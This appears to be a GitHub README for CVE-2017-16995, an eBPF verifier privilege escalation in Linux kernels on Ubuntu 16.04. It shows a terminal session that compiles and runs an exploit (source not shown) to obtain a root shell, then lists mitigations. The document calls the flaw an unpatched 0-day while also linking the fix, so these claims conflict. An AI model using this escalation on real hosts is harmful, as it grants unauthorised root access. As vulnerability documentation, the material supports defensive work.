fei9747/cve-2017-16995
Ubuntu is an open-source GNU/Linux operating system primarily used on desktops, based on Debian GNU/Linux. Recently, a white hat hacker disclosed a local privilege escalation vulnerability in the latest version of Ubuntu (Ubuntu 16.04), with vulnerability ID CVE-2017-16995. This vulnerability exists in the Linux kernel system that calls eBPF bpf(2). When a user provides a malicious BPF program, the eBPF verifier module produces a calculation error, leading to arbitrary memory read/write issues. Low-privileged users can exploit this vulnerability to gain administrative privileges. This vulnerability was fixed in older versions, but is still exploitable in the latest version. The official patch has not been released yet, and the vulnerability is in a 0-day state.
Linux Kernel Version 4.14-4.4 Only affects Ubuntu/Debian distributions
High
bearcat@ubuntu:/opt$ lsb_release -a
<br>No LSB modules are available.
<br>Distributor ID: Ubuntu
<br>Description: Ubuntu 16.04.4 LTS
<br>Release: 16.04
<br>Codename: xenial
<br>bearcat@ubuntu:/opt$ uname -a
<br>Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
<br>bearcat@ubuntu:/opt$ id
<br>uid=1000(bearcat) gid=1000(bearcat) <br>groups=1000(bearcat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
<br>bearcat@ubuntu:/opt$ ls
<br>exploit.c
<br>bearcat@ubuntu:/opt$ gcc exploit.c -o exploit
<br>bearcat@ubuntu:/opt$ ./exploit
<br>task_struct = ffff88003a0db800
<br>uidptr = ffff8800374b76c4
<br>spawning root shell
<br>root@ubuntu:/opt# id
<br>uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(bearcat)
<br>root@ubuntu:/opt#
Currently, there is no clear patch upgrade solution proposed, but it is recommended that users mitigate by modifying kernel parameters to restrict normal users from using the bpf(2) system call:
Set the parameter "kernel.unprivileged_bpf_disabled = 1" to prevent this privilege escalation by restricting access to the bpf(2) call.
root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
Upgrade the Linux Kernel version, which takes effect after rebooting the server:
The specific operation has been described in the environment setup process; users only need to change the kernel version!
Code patch https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f